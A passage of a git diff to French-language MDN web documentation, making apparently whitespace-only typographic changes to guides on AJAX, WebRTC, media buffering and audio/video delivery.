`makeRequest()` afin d’accepter les données et les transmettre au serveur. Nous changerons la méthode de GET à POST et inclurons nos données en paramètres dans l’appel à `httpRequest.send()` : ```js function makeRequest(url, userName) { @@ -259,13 +259,13 @@ Nous devons modifier `makeRequest()` afin d’accepter les données et les trans } ``` -La fonction `alertContents()` peut être écrite de la même manière qu’à l’étape 3 pour afficher notre chaîne calculée, si c’est tout ce que le serveur renvoie. Cependant, supposons que le serveur renvoie à la fois la phrase calculée et la donnée originale. Donc si l’utilisateur ou l’utilisatrice a saisi « Dorothée », la réponse du serveur ressemblera à : +La fonction `alertContents()` peut être écrite de la même manière qu’à l’étape 3 pour afficher notre chaîne calculée, si c’est tout ce que le serveur renvoie. Cependant, supposons que le serveur renvoie à la fois la phrase calculée et la donnée originale. Donc si l’utilisateur ou l’utilisatrice a saisi « Dorothée », la réponse du serveur ressemblera à : ```json {"userData":"Dorothée","computedString":"Bonjour, Dorothée !"} ``` -Pour utiliser cette phrase dans `alertContents()`, nous ne pouvons pas simplement afficher une alerte avec le contenu de `responseText`, nous devons l’analyser et afficher `computedString`, la propriété que nous souhaitons : +Pour utiliser cette phrase dans `alertContents()`, nous ne pouvons pas simplement afficher une alerte avec le contenu de `responseText`, nous devons l’analyser et afficher `computedString`, la propriété que nous souhaitons : ```js function alertContents() { @@ -280,7 +280,7 @@ function alertContents() { } ``` -Le fichier `test.php` devrait contenir ce qui suit : +Le fichier `test.php` devrait contenir ce qui suit : ```php $name = (isset($_POST['userName'])) ? $_POST['userName'] : 'anonyme'; diff --git a/files/fr/web/guide/ajax/index.md b/files/fr/web/guide/ajax/index.md index 9341969376..757cac27d0 100644 --- a/files/fr/web/guide/ajax/index.md +++ b/files/fr/web/guide/ajax/index.md @@ -3,18 +3,18 @@ title: AJAX slug: Web/Guide/AJAX translation_of: Web/Guide/AJAX --- -**AJAX (Asynchronous JavaScript + XML)** n'est pas une technologie en soi, mais un terme désignant une « nouvelle » approche utilisant un ensemble de technologies existantes, dont : [HTML](/fr/HTML "fr/HTML") ou [XHTML](/fr/XHTML "fr/XHTML"), [les feuilles de styles CSS](/fr/CSS "fr/CSS"), [JavaScript](/fr/JavaScript "fr/JavaScript"), [le modèle objet de document](/fr/DOM "fr/DOM") (DOM), [XML](/fr/XML "fr/XML"), [XSLT](/fr/XSLT "fr/XSLT"), et l'[objet XMLHttpRequest](/fr/XMLHttpRequest "fr/XMLHttpRequest"). Lorsque ces technologies sont combinées dans le modèle AJAX, les applications Web sont capables de réaliser des mises à jour rapides et incrémentielles de l'interface utilisateur sans devoir recharger la page entière du navigateur. Les applications fonctionnent plus rapidement et sont plus réactives aux actions de l'utilisateur. +**AJAX (Asynchronous JavaScript + XML)** n'est pas une technologie en soi, mais un terme désignant une « nouvelle » approche utilisant un ensemble de technologies existantes, dont : [HTML](/fr/HTML "fr/HTML") ou [XHTML](/fr/XHTML "fr/XHTML"), [les feuilles de styles CSS](/fr/CSS "fr/CSS"), [JavaScript](/fr/JavaScript "fr/JavaScript"), [le modèle objet de document](/fr/DOM "fr/DOM") (DOM), [XML](/fr/XML "fr/XML"), [XSLT](/fr/XSLT "fr/XSLT"), et l'[objet XMLHttpRequest](/fr/XMLHttpRequest "fr/XMLHttpRequest"). Lorsque ces technologies sont combinées dans le modèle AJAX, les applications Web sont capables de réaliser des mises à jour rapides et incrémentielles de l'interface utilisateur sans devoir recharger la page entière du navigateur. Les applications fonctionnent plus rapidement et sont plus réactives aux actions de l'utilisateur. -#### **Quand utiliser (ou non) AJAX ?** +#### **Quand utiliser (ou non) AJAX ?** S'il n'y a pas de "bonne réponse", quelques éléments généraux sont à garder à mémoire : -- La méthode AJAX peut être résumée comme un compromis : elle évite un rechargement complet de la page mais **n'autorise pas davantage** que ce qu'apporte une requête HTTP GET ou POST (ou HEAD) classique. Les échanges sont plutôt lourds car, même pour peu d'éléments, le navigateur **doit** envoyer des entêtes et négocier la transaction. - La méthode est alors intérressante pour tous les sites où le contenu est changé peu fréquemment et reste prévisible : un blog, un forum, etc. où c'est l'utilisateur qui décide de changer le contenu (_le serveur ne peut pas être à l'initiative, sauf à faire des requêtes régulièrement mais il serait alors préférable de passer par les [WebSockets](https://developer.mozilla.org/fr/docs/WebSockets)_). -- La méthode AJAX a comme qualité de rester dans les standards HTTP, en plus d'être du côté client : c'est donc une méthode qui est **totalement** transparente dans les échanges standards entre un client et un serveur, donc avec tous les langages de programmes qui supportent une connexion socket classique. C'est important à garder à l'esprit dans des environnements mixtes : un serveur Apache / PHP pour la génération de pages maîtresses et un contenu déployé dans un autre langage. - Ne pas confondre *possible* et *souhaitable* : AJAX **peut** négocier avec plusieurs domaines différents ou (des ports différents dans un même domaine). Cependant pour des [raisons de sécurité](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS) les possibilités sont restreintes voire impossibles. La méthode AJAX est donc dépendante de ce qu'autorise ou permet le navigateur du client. -- La méthode AJAX est connue et reconnue, pouvant être utilisées à large échelle dans des bibliothèques comme [JQuery](https://fr.wikipedia.org/wiki/JQuery), dont l'intérêt de ces bibliothéques est d'accélérer la vitesse de développement. De plus l'utilisation de Javascript permet d'accéder aux ressources du DOM de la page et des données reçues si elles sont au format XML, permettant la sérialisation dans la plupart des situations. - Cependant AJAX rencontre aussi les difficultés liées à la grande hétérogénité des navigateurs (implantation différente de JS, donc _in fine_ des possibilités AJAX), des règles de sécurité, etc. Comme pour CSS, AJAX peut être vu comme un "plus" dans la navigation (_voir le principe de [dégradation élégante](https://fr.wikipedia.org/wiki/Am%C3%A9lioration_progressive)_) mais ne doit pas être vu comme une finalité au risque, sinon, de se couper d'une partie des utilisateurs. +- La méthode AJAX peut être résumée comme un compromis : elle évite un rechargement complet de la page mais **n'autorise pas davantage** que ce qu'apporte une requête HTTP GET ou POST (ou HEAD) classique. Les échanges sont plutôt lourds car, même pour peu d'éléments, le navigateur **doit** envoyer des entêtes et négocier la transaction. + La méthode est alors intérressante pour tous les sites où le contenu est changé peu fréquemment et reste prévisible : un blog, un forum, etc. où c'est l'utilisateur qui décide de changer le contenu (_le serveur ne peut pas être à l'initiative, sauf à faire des requêtes régulièrement mais il serait alors préférable de passer par les [WebSockets](https://developer.mozilla.org/fr/docs/WebSockets)_). +- La méthode AJAX a comme qualité de rester dans les standards HTTP, en plus d'être du côté client : c'est donc une méthode qui est **totalement** transparente dans les échanges standards entre un client et un serveur, donc avec tous les langages de programmes qui supportent une connexion socket classique. C'est important à garder à l'esprit dans des environnements mixtes : un serveur Apache / PHP pour la génération de pages maîtresses et un contenu déployé dans un autre langage. + Ne pas confondre *possible* et *souhaitable* : AJAX **peut** négocier avec plusieurs domaines différents ou (des ports différents dans un même domaine). Cependant pour des [raisons de sécurité](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS) les possibilités sont restreintes voire impossibles. La méthode AJAX est donc dépendante de ce qu'autorise ou permet le navigateur du client. +- La méthode AJAX est connue et reconnue, pouvant être utilisées à large échelle dans des bibliothèques comme [JQuery](https://fr.wikipedia.org/wiki/JQuery), dont l'intérêt de ces bibliothéques est d'accélérer la vitesse de développement. De plus l'utilisation de Javascript permet d'accéder aux ressources du DOM de la page et des données reçues si elles sont au format XML, permettant la sérialisation dans la plupart des situations. + Cependant AJAX rencontre aussi les difficultés liées à la grande hétérogénité des navigateurs (implantation différente de JS, donc _in fine_ des possibilités AJAX), des règles de sécurité, etc. Comme pour CSS, AJAX peut être vu comme un "plus" dans la navigation (_voir le principe de [dégradation élégante](https://fr.wikipedia.org/wiki/Am%C3%A9lioration_progressive)_) mais ne doit pas être vu comme une finalité au risque, sinon, de se couper d'une partie des utilisateurs. <table> <tbody> @@ -78,11 +78,11 @@ S'il n'y a pas de "bonne réponse", quelques éléments généraux sont à garde </dt> <dd> <small - >« Comme on le remarquera, il est assez facile de tirer parti de + >« Comme on le remarquera, il est assez facile de tirer parti de l'objet XMLHttpRequest pour faire se comporter une application Web un peu plus comme une application traditionnelle, tout en continuant à utiliser des outils comme des formulaires Web pour - collecter les entrées de l'utilisateur. »</small + collecter les entrées de l'utilisateur. »</small > </dd> </dl> @@ -131,7 +131,7 @@ S'il n'y a pas de "bonne réponse", quelques éléments généraux sont à garde <dt> <a class="external" href="http://www.w3.org/TR/XMLHttpRequest/" >La spécification XMLHttpRequest</a - >- + >- <a class="external" href="http://www.xul.fr/XMLHttpRequest.html" >(Traduction française)</a > diff --git a/files/fr/web/guide/api/webrtc/peer-to-peer_communications_with_webrtc/index.md b/files/fr/web/guide/api/webrtc/peer-to-peer_communications_with_webrtc/index.md index 394be3cf5f..baea0e605d 100644 --- a/files/fr/web/guide/api/webrtc/peer-to-peer_communications_with_webrtc/index.md +++ b/files/fr/web/guide/api/webrtc/peer-to-peer_communications_with_webrtc/index.md @@ -6,17 +6,17 @@ original_slug: WebRTC/communication-de-pair-a-pair-avec-WebRTC --- {{SeeCompatTable}} -Les APIs WebRTC sont conçues pour permettre aux applications JavaScript de créer des connexions en temps-réel, avec des canaux audio, vidéo et/ou de données, entre utilisateurs à travers leurs navigateurs ou avec des serveurs supportant le protocole WebRTC. Il autorise aussi `navigator.mozGetUserMedia()` à accéder au microphone et à la webcam (`getUserMedia()` est en cours de standardisation par le groupe Media Capture Task, avec les APIs Recording). +Les APIs WebRTC sont conçues pour permettre aux applications JavaScript de créer des connexions en temps-réel, avec des canaux audio, vidéo et/ou de données, entre utilisateurs à travers leurs navigateurs ou avec des serveurs supportant le protocole WebRTC. Il autorise aussi `navigator.mozGetUserMedia()` à accéder au microphone et à la webcam (`getUserMedia()` est en cours de standardisation par le groupe Media Capture Task, avec les APIs Recording). -La principale source des évolutions des spécifications de WebRTC sont les spécifications du W3C [WebRTC](http://dev.w3.org/2011/webrtc/editor/webrtc.html) et [getUserMedia](http://dev.w3.org/2011/webrtc/editor/getusermedia.html), ainsi que différents brouillons de IETF, principalement du [groupe de travail rtcweb](http://tools.ietf.org/wg/rtcweb/), mais aussi [mmusic](http://tools.ietf.org/wg/mmusic/), [rmcat](http://tools.ietf.org/wg/rmcat/) et quelques autres. Une grande partie de l'implémentation dans Chrome et Firefox est basée sur le code libéré par Google à [webrtc.org](http://www.webrtc.org/reference). +La principale source des évolutions des spécifications de WebRTC sont les spécifications du W3C [WebRTC](http://dev.w3.org/2011/webrtc/editor/webrtc.html) et [getUserMedia](http://dev.w3.org/2011/webrtc/editor/getusermedia.html), ainsi que différents brouillons de IETF, principalement du [groupe de travail rtcweb](http://tools.ietf.org/wg/rtcweb/), mais aussi [mmusic](http://tools.ietf.org/wg/mmusic/), [rmcat](http://tools.ietf.org/wg/rmcat/) et quelques autres. Une grande partie de l'implémentation dans Chrome et Firefox est basée sur le code libéré par Google à [webrtc.org](http://www.webrtc.org/reference). -**NOTE**: Les versions courantes de FlashBlock peuvent bloquer le tag HTML5 `<video>` par défaut; si c'est le cas, il faut lui dire d'autoriser le contenu de la page, ou désactiver cette option via Tools/Add-ons. +**NOTE**: Les versions courantes de FlashBlock peuvent bloquer le tag HTML5 `<video>` par défaut; si c'est le cas, il faut lui dire d'autoriser le contenu de la page, ou désactiver cette option via Tools/Add-ons. -Un bon tutoriel sur les fonctionnalités de base de WebRTC peut-être trouvé sur [HTML5 Rocks](http://www.html5rocks.com/en/tutorials/webrtc/basics/). On pourra trouver sur le site [webrtc-landing](http://mozilla.github.com/webrtc-landing) une série de page de test basique. +Un bon tutoriel sur les fonctionnalités de base de WebRTC peut-être trouvé sur [HTML5 Rocks](http://www.html5rocks.com/en/tutorials/webrtc/basics/). On pourra trouver sur le site [webrtc-landing](http://mozilla.github.com/webrtc-landing) une série de page de test basique. -Il est possible de faire un appel simple de personne à personne (y compris à ceux utilisant Chrome) à [apprtc.appspot.com](https://apprtc.appspot.com/). +Il est possible de faire un appel simple de personne à personne (y compris à ceux utilisant Chrome) à [apprtc.appspot.com](https://apprtc.appspot.com/). -Un article de [Hacks](https://hacks.mozilla.org/category/webrtc/) décrit avec précision ce qu'il se passe dans une connexion `RTCPeerConnecion` ([lien](https://hacks.mozilla.org/2013/05/embedding-webrtc-video-chat-right-into-your-website/)) : +Un article de [Hacks](https://hacks.mozilla.org/category/webrtc/) décrit avec précision ce qu'il se passe dans une connexion `RTCPeerConnecion` ([lien](https://hacks.mozilla.org/2013/05/embedding-webrtc-video-chat-right-into-your-website/)) :  diff --git a/files/fr/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.md b/files/fr/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.md index 040a2b93fd..76ba3ac6af 100644 --- a/files/fr/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.md +++ b/files/fr/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.md @@ -96,7 +96,7 @@ Et un peu de JavaScript: var startX = myAudio.buffered.start(i) * inc; var endX = myAudio.buffered.end(i) * inc; - var width = endX - startX; + var width = endX - startX; context.fillRect(startX, 0, width, myCanvas.height); context.rect(startX, 0, width, myCanvas.height); @@ -130,7 +130,7 @@ Bien qu'on ait vu que les parties ne sont pas nécessairement contigues, elles l var seekableEnd = myAudio.seekable.end(myAudio.seekable.length - 1); ``` -> **Note :** `myAudio.seekable.end(myAudio.seekable.length - 1)` nous indique en fait le temps de fin de la dernière plage de temps disponible (et non toutes). En pratique, c'est suffisant, car le navigateur peut permettre ou non de requêter des plages d'octets. S'il ne le permet pas — `audio.seekable` sera l'équivalent de `audio.buffered` — on a une indication valide de la fin du média chargée. Sinon, alors cette valeur vaudra la durée du média presque instantannément. +> **Note :** `myAudio.seekable.end(myAudio.seekable.length - 1)` nous indique en fait le temps de fin de la dernière plage de temps disponible (et non toutes). En pratique, c'est suffisant, car le navigateur peut permettre ou non de requêter des plages d'octets. S'il ne le permet pas — `audio.seekable` sera l'équivalent de `audio.buffered` — on a une indication valide de la fin du média chargée. Sinon, alors cette valeur vaudra la durée du média presque instantannément. Il est peut-être préférable de donner une indication de la quantité de média effectivement téléchargée — c'est ce que les lecteurs natifs du navigateur semblent indiquer. @@ -190,12 +190,12 @@ window.onload = function(){ myAudio.addEventListener('progress', function() { var duration = myAudio.duration; if (duration > 0) { - for (var i = 0; i < myAudio.buffered.length; i++) { - if (myAudio.buffered.start(myAudio.buffered.length - 1 - i) < myAudio.currentTime) { - document.getElementById("buffered-amount").style.width = (myAudio.buffered.end(myAudio.buffered.length - 1 - i) / duration) * 100 + "%"; - break; - } - } + for (var i = 0; i < myAudio.buffered.length; i++) { + if (myAudio.buffered.start(myAudio.buffered.length - 1 - i) < myAudio.currentTime) { + document.getElementById("buffered-amount").style.width = (myAudio.buffered.end(myAudio.buffered.length - 1 - i) / duration) * 100 + "%"; + break; + } + } } }); diff --git a/files/fr/web/guide/audio_and_video_delivery/index.md b/files/fr/web/guide/audio_and_video_delivery/index.md index e4ceb5c6db..9d5c6036e2 100644 --- a/files/fr/web/guide/audio_and_video_delivery/index.md +++ b/files/fr/web/guide/audio_and_video_delivery/index.md @@ -7,16 +7,16 @@ On peut distribuer de l'audio et de la vidéo sur le web de plusieurs manières, ## Les éléments audio et vidéo -Que l'on traite des fichiers audio pré-enregistrés ou des flux en directs, le mécanisme pour les rendre disponibles à travers un navigateur reste à peu près le même — via les éléments [`<audio>`](/fr/docs/Web/HTML/Element/audio) et [`<video>`](/fr/docs/Web/HTML/Element/video). Actuellement, pour prendre en charge tous les navigateurs, il est nécessaire de définir deux formats — bien qu'avec l'adoption des formats MP3 et MP4 dans Firefox et Opera, cela change rapidement. Vous pouvez trouver les informations de compatibilité des navigateurs aux endroits suivants : +Que l'on traite des fichiers audio pré-enregistrés ou des flux en directs, le mécanisme pour les rendre disponibles à travers un navigateur reste à peu près le même — via les éléments [`<audio>`](/fr/docs/Web/HTML/Element/audio) et [`<video>`](/fr/docs/Web/HTML/Element/video). Actuellement, pour prendre en charge tous les navigateurs, il est nécessaire de définir deux formats — bien qu'avec l'adoption des formats MP3 et MP4 dans Firefox et Opera, cela change rapidement. Vous pouvez trouver les informations de compatibilité des navigateurs aux endroits suivants : - [Tableau de compatibilité des codecs audio](/fr/docs/Web/Apps/Build/Manipulating_media/Cross-browser_audio_basics#audio_codec_support) - [Guide sur les codecs pour les vidéos](/fr/docs/Web/Media/Formats/Video_codecs) -Pour distribuer du contenu audio et vidéo, le processus général se déroule comme suit : +Pour distribuer du contenu audio et vidéo, le processus général se déroule comme suit : -1. Vérifier quels formats sont pris en charge par le navigateur via la détection de fonctionnalité ; -2. Si le navigateur ne lit pas nativement les formats fournis, utiliser un contenu de secours dans un autre format ; -3. Définir la façon dont vous voulez lire/instancier le média (par exemple un élément [`<video>`](/fr/docs/Web/HTML/Element/video), ou peut-être via JavaScript avec `document.createElement('video')`) ; +1. Vérifier quels formats sont pris en charge par le navigateur via la détection de fonctionnalité ; +2. Si le navigateur ne lit pas nativement les formats fournis, utiliser un contenu de secours dans un autre format ; +3. Définir la façon dont vous voulez lire/instancier le média (par exemple un élément [`<video>`](/fr/docs/Web/HTML/Element/video), ou peut-être via JavaScript avec `document.createElement('video')`) ; 4. Ajouter le fichier média au lecteur. ### Audio HTML @@ -82,7 +82,7 @@ On définit la source de l'audio en fonction du type de fichier audio pris en ch > **Note :** `play()` sera ignoré par certains navigateurs mobiles à moins que l'événement ne soit initié par une action de la personne visitant le site. -Il est également possible de donner un fichier WAV encodé en base64 à l'élément [`<audio>`](/fr/docs/Web/HTML/Element/audio), permettant ainsi de générer de l'audio à la volée : +Il est également possible de donner un fichier WAV encodé en base64 à l'élément [`<audio>`](/fr/docs/Web/HTML/Element/audio), permettant ainsi de générer de l'audio à la volée : ```html <audio id="player" src="data:audio/x-wav;base64,UklGRvC..."></audio> @@ -143,13 +143,13 @@ Dans cet exemple, on récupère un fichier MP3 via XHR, on le charge et on le li Il est également possible de récupérer un <i lang="en">live stream</i> de la webcam et/ou du microphone de la personne consultant le site avec `getUserMedia` et l'API Stream. Cela fait partie d'une technologie plus largement connue sous le nom de WebRTC (Web Real-Time Communications) et est compatible avec les dernières versions de Chrome, Firefox et Opera. -Pour récupérer un flux de la webcam, commençons par créer un élément [`<video>`](/fr/docs/Web/HTML/Element/video) : +Pour récupérer un flux de la webcam, commençons par créer un élément [`<video>`](/fr/docs/Web/HTML/Element/video) : ```html <video id="webcam" width="480" height="360"></video> ``` -Ensuite, si cette opération est prise en charge, nous connectons la webcam à l'élément video : +Ensuite, si cette opération est prise en charge, nous connectons la webcam à l'élément video : ```js if (navigator.mediaDevices) { @@ -173,7 +173,7 @@ Pour en savoir plus, lisez la page [`MediaDevices.getUserMedia`](/fr/docs/Web/AP De nouveaux standards sont en cours de déploiement pour permettre au navigateur de récupérer le flux du micro ou de la webcam — en utilisant `getUserMedia` — et l'enregistrer directement avec la nouvelle API MediaRecorder. Pour ce faire, on prend le stream retourné par `getUserMedia`, on le donne en paramètre à un objet `MediaRecorder`, puis on utilise le résultat obtenu comme source audio ou video. -Le principe de base est décrit ci-après : +Le principe de base est décrit ci-après : ```js navigator.mediaDevices.getUserMedia({audio:true}) @@ -205,7 +205,7 @@ Voir [l'API MediaRecorder](/fr/docs/Web/API/MediaRecorder_API) pour plus de dét ## Media Source Extensions (MSE) -[Media Source Extensions](https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/media-source.html) (MSE ou « extensions pour les sources de média ») est un brouillon de travail (<i lang="en">Working Draft</i> en anglais) du W3C qui prévoit d'étendre [`HTMLMediaElement`](/fr/docs/Web/API/HTMLMediaElement) pour permettre à JavaScript de générer des flux média pour la lecture. Permettre à JavaScript de générer des flux facilite différents cas d'usage comme la diffusion en direct adaptative et le décalage temporel des flux de diffusion en direct. +[Media Source Extensions](https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/media-source.html) (MSE ou « extensions pour les sources de média ») est un brouillon de travail (<i lang="en">Working Draft</i> en anglais) du W3C qui prévoit d'étendre [`HTMLMediaElement`](/fr/docs/Web/API/HTMLMediaElement) pour permettre à JavaScript de générer des flux média pour la lecture. Permettre à JavaScript de générer des flux facilite différents cas d'usage comme la diffusion en direct adaptative et le décalage temporel des flux de diffusion en direct. ### Encrypted Media Extensions (EME) @@ -308,7 +308,7 @@ mediaElement.played.end(0); // Renvoie le nombre de secondes lues par le na ### Définir des intervalles de lecture -Lors de la définition de l'URI du média d'un élément [`<audio>`](/fr/docs/Web/HTML/Element/audio) ou [`<video>`](/fr/docs/Web/HTML/Element/video), il est possible d'ajouter des informations supplémentaires pour indiquer la portion du média qu'on souhaite lire. Pour cela, on ajoutera un dièse/croisillon (« # ») suivi de la description du fragment de média. +Lors de la définition de l'URI du média d'un élément [`<audio>`](/fr/docs/Web/HTML/Element/audio) ou [`<video>`](/fr/docs/Web/HTML/Element/video), il est possible d'ajouter des informations supplémentaires pour indiquer la portion du média qu'on souhaite lire. Pour cela, on ajoutera un dièse/croisillon (« # ») suivi de la description du fragment de média. Un intervalle temporel se définit avec la syntaxe suivante : @@ -335,12 +335,12 @@ Vous rencontrez des problèmes de lecture audio ou vidéo ? Vérifiez les diffé Utilisez les fichiers suivants pour vérifier le support de votre format: -- Audio MP3 (`type="audio/mpeg"`) : <https://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3> ([audio MP3 en direct](https://jsbin.com/gekatoge/1/edit)) -- Audio MP4 (`type="audio/mp4"`) : <https://jPlayer.org/audio/m4a/Miaow-01-Tempered-song.m4a> ([audio MP4 en direct](https://jsbin.com/gekatoge/2/edit)) -- Audio Ogg (`type="audio/ogg"`) : <https://jPlayer.org/audio/ogg/Miaow-01-Tempered-song.ogg> ([audio OGG en direct](https://jsbin.com/gekatoge/4/edit)) -- Video MP4 (`type="video/mp4"`) : <https://jPlayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v> ([vidéo MP4 en direct](https://jsbin.com/gekatoge/5/edit)) -- Video WebM (`type="video/webm"`) : <https://jPlayer.org/video/webm/Big_Buck_Bunny_Trailer.webm> ([vidéo WebM en direct](https://jsbin.com/gekatoge/6/edit)) -- Video Ogg (`type="video/ogg"`) : <https://jPlayer.org/video/ogv/Big_Buck_Bunny_Trailer.ogv> ([vidéo OGG en direct](https://jsbin.com/gekatoge/7/edit)) +- Audio MP3 (`type="audio/mpeg"`) : <https://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3> ([audio MP3 en direct](https://jsbin.com/gekatoge/1/edit)) +- Audio MP4 (`type="audio/mp4"`) : <https://jPlayer.org/audio/m4a/Miaow-01-Tempered-song.m4a> ([audio MP4 en direct](https://jsbin.com/gekatoge/2/edit)) +- Audio Ogg (`type="audio/ogg"`) : <https://jPlayer.org/audio/ogg/Miaow-01-Tempered-song.ogg> ([audio OGG en direct](https://jsbin.com/gekatoge/4/edit)) +- Video MP4 (`type="video/mp4"`) : <https://jPlayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v> ([vidéo MP4 en direct](https://jsbin.com/gekatoge/5/edit)) +- Video WebM (`type="video/webm"`) : <https://jPlayer.org/video/webm/Big_Buck_Bunny_Trailer.webm> ([vidéo WebM en direct](https://jsbin.com/gekatoge/6/edit)) +- Video Ogg (`type="video/ogg"`) : <https://jPlayer.org/video/ogv/Big_Buck_Bunny_Trailer.ogv> ([vidéo OGG en direct](https://jsbin.com/gekatoge/7/edit)) Si un de ces fichiers n'est pas lu, c'est que le navigateur que vous testez ne prend pas en charge le format correspondant. Vous pouvez utiliser un format différent ou un contenu de secours. @@ -348,7 +348,7 @@ Si ces fichiers fonctionnent mais que votre fichier ne fonctionne pas, il y a de #### 1. Le serveur ne fournit pas le type MIME correct du fichier -Bien que les serveurs les prennent généralement en charge, vous allez peut-être avoir besoin d'ajouter ce qui suit à votre fichier `.htaccess` : +Bien que les serveurs les prennent généralement en charge, vous allez peut-être avoir besoin d'ajouter ce qui suit à votre fichier `.htaccess` : # AddType TYPE/SUBTYPE EXTENSION @@ -365,7 +365,7 @@ Bien que les serveurs les prennent généralement en charge, vous allez peut-êt #### 2. Votre fichier n'est pas encodé correctement -Votre fichier n'a peut-être pas été encodé correctement — essayez de l'encoder en utilisant un des outils suivants, qui sont plutôt fiables : +Votre fichier n'a peut-être pas été encodé correctement — essayez de l'encoder en utilisant un des outils suivants, qui sont plutôt fiables : - [Audacity](https://audacity.sourceforge.net/) - Éditeur et enregistreur audio gratuit - [Miro](https://www.getmiro.com/) - Lecteur audio et vidéo open-source et gratuit @@ -413,19 +413,19 @@ Un certain nombre de bibliothèques JavaScript audio et vidéo existent. Les plu ### Vidéo uniquement -- [flowplayer](https://flowplayer.org/) : Gratuit, avec un filigrane du logo flowplayer. open source (licence GPL) -- [JWPlayer](https://www.jwplayer.com) : Nécessite de s'inscrire pour télécharger. open source (licence Creative Commons) -- [SublimeVideo](https://www.sublimevideo.net/) : Nécessite de s'inscrire. Configuration par formulaire avec lien vers des bibliothèques hébergées via CDN. -- [Video.js](https://www.videojs.com/) : Gratuit et open source (licence Apache 2) +- [flowplayer](https://flowplayer.org/) : Gratuit, avec un filigrane du logo flowplayer. open source (licence GPL) +- [JWPlayer](https://www.jwplayer.com) : Nécessite de s'inscrire pour télécharger. open source (licence Creative Commons) +- [SublimeVideo](https://www.sublimevideo.net/) : Nécessite de s'inscrire. Configuration par formulaire avec lien vers des bibliothèques hébergées via CDN. +- [Video.js](https://www.videojs.com/) : Gratuit et open source (licence Apache 2) ### Audio et vidéo -- [jPlayer](https://jPlayer.org) : Gratuit et open source (Licence MIT) -- [mediaelement.js](https://mediaelementjs.com/) : Gratuit et open source (Licence MIT) +- [jPlayer](https://jPlayer.org) : Gratuit et open source (Licence MIT) +- [mediaelement.js](https://mediaelementjs.com/) : Gratuit et open source (Licence MIT) ### Web Audio API -- [AudioContext monkeypatch](https://github.com/cwilso/AudioContext-MonkeyPatch) : Une prothèse open source (licence Apache 2) pour les anciennes versions de l'API Web Audio +- [AudioContext monkeypatch](https://github.com/cwilso/AudioContext-MonkeyPatch) : Une prothèse open source (licence Apache 2) pour les anciennes versions de l'API Web Audio ## Tutoriels pour apprendre les bases @@ -446,7 +446,7 @@ Un certain nombre de bibliothèques JavaScript audio et vidéo existent. Les plu - [Diffusion en direct de fichiers audio et vidéo sur le web](/fr/docs/Web/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video) - - : Les technologies de diffusion en direct sont souvent employées pour diffuser en direct des évènements sportifs, des concerts et plus généralement des programmes télévisuels ou radiophoniques qui se déroulent en direct. Le terme est souvent raccourci en parlant de « direct » ou en anglais de + - : Les technologies de diffusion en direct sont souvent employées pour diffuser en direct des évènements sportifs, des concerts et plus généralement des programmes télévisuels ou radiophoniques qui se déroulent en direct. Le terme est souvent raccourci en parlant de « direct » ou en anglais de <i lang="en">streaming</i> diff --git a/files/fr/web/guide/audio_and_video_delivery/live_streaming_web_audio_and_video/index.md b/files/fr/web/guide/audio_and_video_delivery/live_streaming_web_audio_and_video/index.md index 1a6d7f0665..7f81eac7a5 100644 --- a/files/fr/web/guide/audio_and_video_delivery/live_streaming_web_audio_and_video/index.md +++ b/files/fr/web/guide/audio_and_video_delivery/live_streaming_web_audio_and_video/index.md @@ -66,7 +66,7 @@ Par exemple: </video> ``` -## Extensions de Sources Média (MSE) +## Extensions de Sources Média (MSE) [Media Source Extensions](https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/media-source.html) est un brouillon de travail de W3C qui prévoit d'étendre {{ domxref("HTMLMediaElement") }} pour permettre à JavaScript de générer des flux média pour la lecture. Permettre à JavaScript de générer des streams facilite toute une variété de cas d'utilisations comme le streaming adaptatif et le décalage temporel des live streams. @@ -101,16 +101,16 @@ Au début de la session de streaming, une [playlist M3U étendue (m3u8)](http:// | Navigateur | DASH | HLS | Opus (Audio) | | ------------------------ | ----- | ----- | ------------ | | Firefox 32 | ✓ [1] | ✓ [2] | ✓ 14+ | -| Safari 6+ | | ✓ | | -| Chrome 24+ | ✓ [1] | ✓ | | -| Opera 20+ | ✓ [1] | | | -| Internet Explorer 10+ | ✓ 11 | ✓ [2] | | +| Safari 6+ | | ✓ | | +| Chrome 24+ | ✓ [1] | ✓ | | +| Opera 20+ | ✓ [1] | | | +| Internet Explorer 10+ | ✓ 11 | ✓ [2] | | | Firefox Mobile | ✓ | ✓ | ✓ | -| Safari iOS6+ | | ✓ | | -| Chrome Mobile | ✓ | ✓ [2] | | -| Opera Mobile | ✓ [1] | ✓ | | -| Internet Explorer Mobile | ✓ 11 | ✓ [2] | | -| Android | ✓ | | | +| Safari iOS6+ | | ✓ | | +| Chrome Mobile | ✓ | ✓ [2] | | +| Opera Mobile | ✓ [1] | ✓ | | +| Internet Explorer Mobile | ✓ 11 | ✓ [2] | | +| Android | ✓ | | | \[1] Via JavaScript et MSE @@ -160,7 +160,7 @@ Pour le transfert RTMP, vous pouvez utiliser le [module Nginx RTMP](https://gith ### Icecast -Le serveur [Icecast](http://www.icecast.org/) est une technologie open source pour diffuser des média en streaming. Maintenu par [Xiph.org Foundation](http://www.xiph.org/), il diffuse les formats Ogg Vorbis/Theora ainsi que MP3 et AAC via le protocole SHOUTcast. +Le serveur [Icecast](http://www.icecast.org/) est une technologie open source pour diffuser des média en streaming. Maintenu par [Xiph.org Foundation](http://www.xiph.org/), il diffuse les formats Ogg Vorbis/Theora ainsi que MP3 et AAC via le protocole SHOUTcast. > **Note :** SHOUTcast et Icecast font partie des technologies les plus répandues et les plus populaires, mais il existe de nombreux [autres systèmes de diffusion en streaming disponibles](http://en.wikipedia.org/wiki/List_of_streaming_media_systems#Servers). diff --git a/files/fr/web/guide/audio_and_video_manipulation/index.md b/files/fr/web/guide/audio_and_video_manipulation/index.md index ec64e401e5..432929118a 100644 --- a/files/fr/web/guide/audio_and_video_manipulation/index.md +++ 